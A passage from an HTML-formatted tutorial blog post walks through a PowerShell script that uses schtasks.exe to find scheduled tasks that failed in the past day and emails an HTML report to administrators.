&lt;p&gt;After I get the data into the variable, I examine it to see what I have to work with. This is where I notice a problem. I have a couple of properties, &lt;b&gt;Next Run Time&lt;/b&gt; and &lt;b&gt;Last Run Time&lt;/b&gt;, that don&amp;rsquo;t always have the information I expect. Normally, these properties would be expected to have a date/time value, but because this is a scheduled task, the task may not have ever run or may never run again. In that case, the &lt;b&gt;Schtasks.exe&lt;/b&gt; command reports &amp;ldquo;Never.&amp;rdquo; I don&amp;rsquo;t know about you, but I find that Windows PowerShell has a hard time trying to sort this information with a date/time value. So, I set about trying to make this work.&lt;/p&gt;
&lt;p&gt;My solution is to go through each entry, test to see if the &lt;b&gt;Next Run Time&lt;/b&gt; and &lt;b&gt;Last Run Time&lt;/b&gt; properties are actually a date/time value. If they are, I convert the property to a &lt;b&gt;DateTime&lt;/b&gt; object. If not, I reset the property to the &lt;b&gt;DateTime.MaxValue&lt;/b&gt; or &lt;b&gt;DateTime.MinValue&lt;/b&gt;, respectively. Now, I can sort the values to get what I need.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;$tasks |Foreach-Object {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;If ($_.&amp;rdquo;Last Run Time&amp;rdquo; &amp;ndash;as [datetime])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$_.&amp;rdquo;Last Run Time&amp;rdquo; = [datetime]$_.&amp;rdquo;Last Run Time&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Else&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;$_.&amp;rdquo;Last Run Time&amp;rdquo; = [datetime]::MinValue&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;If ($_.&amp;rdquo;Next Run Time&amp;rdquo; &amp;ndash;as [datetime])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$_.&amp;rdquo;Next Run Time&amp;rdquo; = [datetime]$_.&amp;rdquo;Next Run Time&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Else&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$_.&amp;rdquo;Next Run Time&amp;rdquo; = [datetime]::MaxValue&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now that I have my &lt;b&gt;DateTime&lt;/b&gt; values set properly, I can find the information that I am really interested in. The original purpose of my script is to tell me anything that ran within the past 24 hours that did not succeed for any reason.&lt;/p&gt;
&lt;p&gt;In the script source, you will notice that I also check to see that the &lt;b&gt;$tasks&lt;/b&gt; variable is populated. If the computer you query does not have any scheduled tasks to report, there is no need to proceed through the rest of the code. The &lt;b&gt;Schtasks&lt;/b&gt; command will report a string that indicates there are no scheduled tasks on the system. When you try to push that through the &lt;b&gt;ConvertFrom-CSV&lt;/b&gt; cmdlet, it returns a &lt;b&gt;$null&lt;/b&gt; value.&lt;/p&gt;
&lt;p&gt;To get tasks that ran within the past 24 hours, I will use the &lt;b&gt;New-TimeSpan&lt;/b&gt; cmdlet. I can feed the &lt;b&gt;Last Run Time&lt;/b&gt; property from the &lt;b&gt;$tasks&lt;/b&gt; variable as the start time and then specify that I want the result to be in &amp;ldquo;days.&amp;rdquo; I also want to make sure that I get any tasks that have a &lt;b&gt;Last Result&lt;/b&gt; value other than &amp;ldquo;0.&amp;rdquo; Here is what that code looks like.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;$TasksInError = $tasks | Where-Object {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;((New-TimeSpan &amp;ndash;Start $_.&amp;rdquo;Last Run Time&amp;rdquo;).Days &amp;ndash;le $runPeriod) &amp;ndash;and&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;($_.&amp;rdquo;Last Result&amp;rdquo; &amp;ndash;ne &amp;ldquo;0&amp;rdquo;)} | `&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Sort-Object &amp;ldquo;Last Run Time&amp;rdquo; &amp;ndash;Descending | `&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ConvertTo-HTML &amp;ndash;property TaskName, &amp;ldquo;Next Run Time&amp;rdquo;, &amp;ldquo;Last Run Time&amp;rdquo;, Status, &amp;ldquo;Last Result&amp;rdquo; &amp;ndash;Fragment | Out-String&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;In the last part of this command, I have chosen to output my data as an HTML fragment. I decided that I want to send the information to my colleagues and myself so that we can jump on a problem as soon as possible. To make the formatting easier, I decided to use the HTML formatting and make the body of the email message as HTML as well. However, I don&amp;rsquo;t want to send an empty email, so to make that work, I simply check to make sure that I have data in the &lt;b&gt;$TasksInError&lt;/b&gt; variable before trying to send the email.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;If ($TasksInError)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-spacerun:yes;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Send-MailMessage &amp;ndash;Body $TasksInError &amp;ndash;BodyAsHTML &amp;ndash;From myscript.donotreply@mydomain.com &amp;ndash;SmtpServer mymailserver.mydomain.com &amp;ndash;Subject &amp;ldquo;Scheduled Task Report - $ComputerName&amp;rdquo; &amp;ndash;To myaddress@mydomain.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have set this script up as an Advanced Script/Function which means that I can pipe multiple computer names into the script to run against. This can be set up on a management machine to query multiple machines. Following is the complete script source. Because this script is rather long, I have uploaded it to &lt;a target="_blank" href="http://gallery.technet.microsoft.com/scriptcenter/6dd4289b-5407-45e2-9093-8811e9a20b89"&gt;the Scripting Guys Script Repository&lt;/a&gt; so you can easily get the script without worrying about copying HTML crud from the web page. &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;b&gt;Get-ScheduledTask.ps1 &lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;lt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.SYNOPSIS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Gathers scheduled tasks that ran within past 24 hours and e-mails&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a report of failed tasks.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.DESCRIPTION&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;This script calls the SCHTASKS.EXE command to gather all scheduled task&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;information.&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/span&gt;It returns all tasks from the past 24 hours that do not&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;have a &amp;quot;Last Result&amp;quot; of &amp;quot;0&amp;quot;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.PARAMETER&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/span&gt;ComputerName&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Specifies the computer to query for scheduled tasks.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.PARAMETER&lt;span style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/span&gt;runPeriod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Specifies the number of days to look back for scheduled tasks&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.EXAMPLE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PS C:\&amp;gt; .\Get-ScheduledTasks.ps1 -ComputerName Server01&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DESCRIPTION&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;-----------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
